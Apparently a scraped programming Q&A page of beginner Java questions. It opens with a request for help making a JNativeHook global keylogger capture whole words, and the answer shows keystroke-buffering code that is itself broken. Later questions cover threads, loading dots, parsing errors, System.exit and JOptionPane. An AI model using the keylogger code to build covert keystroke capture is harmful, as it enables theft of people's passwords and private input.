I am trying to implement key loggers in java using Jnative hook.I 'm able to record every key movement.This is the output which i am able to get till now
When i'm trying to type "facebook" this is how it is recording
f
a
c
e
b
o
o
k
But i want it to print it like a single word like every other keylogger does.
which means when i enter something like facebook.it should record it as "facebook" but not like recording every keyboard char.
Below posted is my code:
public class key_logger implements NativeKeyListener {
#Override
public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
System.out.print(nativeKeyEvent.getKeyChar());
if(nativeKeyEvent.getKeyCode()== NativeKeyEvent.VK_ESCAPE)
{
//System.out.println("Ter");
GlobalScreen.unregisterNativeHook();
}
}
#Override
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
}
#Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
System.out.println(nativeKeyEvent.getKeyChar());
}
public static void main(String[] args)
{
try
{
GlobalScreen.registerNativeHook();
} catch (NativeHookException e) {
System.out.println("There is a problem registering with the hook");
e.printStackTrace();
System.exit(1);
}
GlobalScreen.getInstance().addNativeKeyListener(new key_logger());
}
}
Store the characters in a String and whenever you come across enter or spacebar being pressed just print the String make sure to reinitialize the String
String string ="";
#Override
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
string.append(nativeKeyEvent.getKeyChar());
if(nativeKeyEvent.getKeyCode()=='key code for enter' && nativeKeyEvent.getKeyCode()== 'key code for space'){
System.out.println(string);
string="";
}
}
Related
I am trying to create a loading sequence of 3 dots that repeats itself until input from the user breaks the loading sequence specifically the enter key. i connot for the life of me get the infinite while loop to end with input
public class loop {
public static void AnyKey() {
try {
System.in.read();
loading(false);
} catch (Exception e){}
}
public static void pause(long duration) {
try{
Thread.sleep(duration);
} catch (InterruptedException e){}
}
public static void loading(boolean status){
if (status == true) {
while (status) {
pause(500);
int i;
for (i = 0; i <3; i++){
System.out.print(".");
pause(500);
}
System.out.print("\b\b\b");
}
}
}
public static void main(String[] args) {
loading(true);
AnyKey();
}
}
In your current code, the main method calls loading and never leaves the function. If you go through loading(true) step by step, you find that since while(status) is always true you are stuck there and AnyKey() is never called.
Also, System.in.read(); is a blocking call. This means that you will wait for user input but will be unable to print the '...'. Instead I recommend your read the documentation for input stream, there you will find the .read() function but also the .available() function which will let you know if any characters have been entered in the input buffer.
Those should be all the tools you need to figure this one out (I think).
Hope this helps!
I figured it out i needed to learn about and use Threads and global variables check out my code below im fairly pleased with myself i was working on this for 3 days now lol
import java.util.Scanner;
class AnyKey extends Thread {
public void run() {
Scanner scanner = new Scanner(System.in);
scanner.nextLine();
loadingDots.loadingStatus = false;
}
}
public class loadingDots {
public static boolean loadingStatus;
public static void pause(long duration) {
try {
Thread.sleep(duration);
} catch (InterruptedException e) {}
}
public static void loading(){
loadingStatus = true;
while (loadingStatus) {
pause(500);
int i;
for (i = 0; i < 3; i++) {
if (!loadingStatus){
break;
}
System.out.print(".");
pause(500);
}
System.out.print("\b\b\b");
}
}
public static void main(String[] args) {
AnyKey anykey = new AnyKey();
anykey.start();
loading();
}
}
I have a piece of practice code that is supposed to accept 1010 as the code when a user enters the code on the keyboard. The thread that keeps checking if the code was entered right wont run unless i put a Thread.sleep(1); in the run()
I wanted to know whats the reason behind this.
Class1:
import java.util.Scanner;
public class Class1 {
private static boolean valid = true, accepted = false, exit = false;
public static void main(String[] args) {
Scanner input = new Scanner(System.in);
newThread t1 = new newThread();
t1.start();
do {
try {
int code = Integer.parseInt(input.nextLine());
if(code == 1010)
accepted = true;
else
System.out.println("Please try again!");
}catch(Exception e) {
System.out.println("Please try again!");
}
}while(!exit);
}
public static boolean getValid() {
return valid;
}
public static void setValid(boolean input) {
valid = input;
}
public static boolean getAccepted() {
return accepted;
}
public static void setAccepted(boolean input) {
accepted = input;
}
}
newThread:
public class newThread extends Thread{
public void run() {
do {
try {
Thread.sleep(1);
} catch (InterruptedException e) {
e.printStackTrace();
}
if(Class1.getAccepted())
Class1.setValid(false);
}while(Class1.getValid());
System.out.println("Code accepted");
}
}
Expected without Thread.sleep(1);:
1010
Code accepted
Actual results:
1010
Without sleep the newThread consumes all cpu and has no natural break point. In the
Java Language Specification you can read more about it.
Whenever I erase a value from a textfield, I get an error stating: Exception in thread "AWT-EventQueue-0" java.lang.NumberFormatException: empty String. Simply put, if the user makes a mistake, I want him to be able to erase the entry in the text field and enter a new entry. Is there a simple fix for this using the below code?
jTextField5.getDocument().addDocumentListener(new DocumentListener() {
public void changedUpdate(DocumentEvent e) {
updateField();
}
public void removeUpdate(DocumentEvent e) {
jTextField5.setEnabled(true);
if(!jTextField6.isEnabled())
{
jTextField6.setEnabled(true);
}
updateField();
}
public void insertUpdate(DocumentEvent e) {
updateField();
}
public void updateField() {
double a= Double.parseDouble(jTextField1.getText());
double b =Double.parseDouble(jTextField5.getText());
double c = Double.parseDouble(jTextField4.getText());
{
Check that each JTextComponent contains content prior to parsing its text
if (!jTextField5.getText().trim().isEmpty()) {
double b = Double.parseDouble(jTextField5.getText());
...
}
Aside: You might want to catch the NumberFormatException should any non-numeric values be entered
i have a progam like this
class A {
public void test1(String s1) {
try {
System.exit(0);
} catch (Exception ex) {
ex.printStackTrace();
} finally {
System.out.println("from finally");
}
}
public void test2(String s2) {
// some text.....
}
}
In the below class
class Manager {
public static void main(String[] args) {
A a1 = new A();
a1.test1("test1");
a1.test2("test2");
}
}
I want a detailed answer of flow of the program after calling a1.test1
control will enter to the a2.test2 in Manager class or any other? Please clarify my doubt.
Once you hit System.exit(0) the program is done. It terminates.
Is there any way to make this piece of code work? The only problem I am having is that when the user clicks cancel, the message dialog shows up.
public static void main(String[] args) {
try {
JOptionPane.showInputDialog("Enter something")
} catch (Exception error) {
JOptionPane.showMessageDialog("Something went wrong.");
}
}
I fixed your code so it compiles:
import javax.swing.JOptionPane;
public class Example {
public static void main(String[] args) {
try {
JOptionPane.showInputDialog("Enter something");
} catch (Exception error) {
error.printStackTrace();
JOptionPane.showMessageDialog(null, "Something went wrong.");
}
}
}
And it works fine when it runs, whether or not I click 'cancel', or 'ok'. No exception is thrown.
I suspect your actual code has something else going on other than what you've posted.
import javax.swing.*;
class GetInput {
public static void getInput() {
String result = JOptionPane.showInputDialog(null, "Enter something");
if (result==null) {
System.out.println("User cancelled action.");
} else {
System.out.println("User entered '" + result + "'.");
}
}
public static void main (String[] args) {
SwingUtilities.invokeLater(new Runnable() {
public void run() {
getInput();
getInput();
}
});
}
}
Typical output
User entered 'this code runs!'.
User cancelled action.
Press any key to continue . . .
When they press Cancel you get a null back. I suspect you are getting a NPE which is getting caught. Check the return value for null.
try{
//some code ;)
} catch(Exception e) {
System.out.println(e.getMessage());
JOptionPane.showMessageDialog(this, " erreur !!! :" + e.getMessage());
}